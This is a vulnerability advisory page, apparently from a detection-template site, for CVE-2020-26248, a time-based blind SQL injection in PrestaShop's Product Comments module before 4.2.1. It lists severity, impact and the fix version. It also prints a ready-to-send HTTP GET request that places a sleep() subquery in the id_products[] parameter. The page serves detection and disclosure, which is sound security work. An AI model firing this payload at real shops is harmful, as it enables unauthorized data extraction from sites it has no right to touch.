🔙 목록으로 돌아가기

CVE-2020-26248: PrestaShop Product Comments <4.2.0 - SQL Injection

TitlePrestaShop Product Comments <4.2.0 - SQL Injection
Authoredoardottt
SeverityHigh
ImpactSuccessful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationFixed in 4.2.1.
CVSS Score8.2
EPSS Score0.8099
CVE IDCVE-2020-26248
CWE IDCWE-89
Tags time-based-sqli cve cve2020 packetstorm sqli prestshop prestashop vuln

🔍 Vulnerability Description

PrestaShop Product Comments module before version 4.2.1 contains a SQL injection vulnerability, An attacker can use a blind SQL injection to retrieve data or stop the MySQL service, thereby possibly obtaining sensitive information, modifying data, and/or executing unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

GET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=(select*from(select(sleep(6)))a) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-26248.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-26248.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A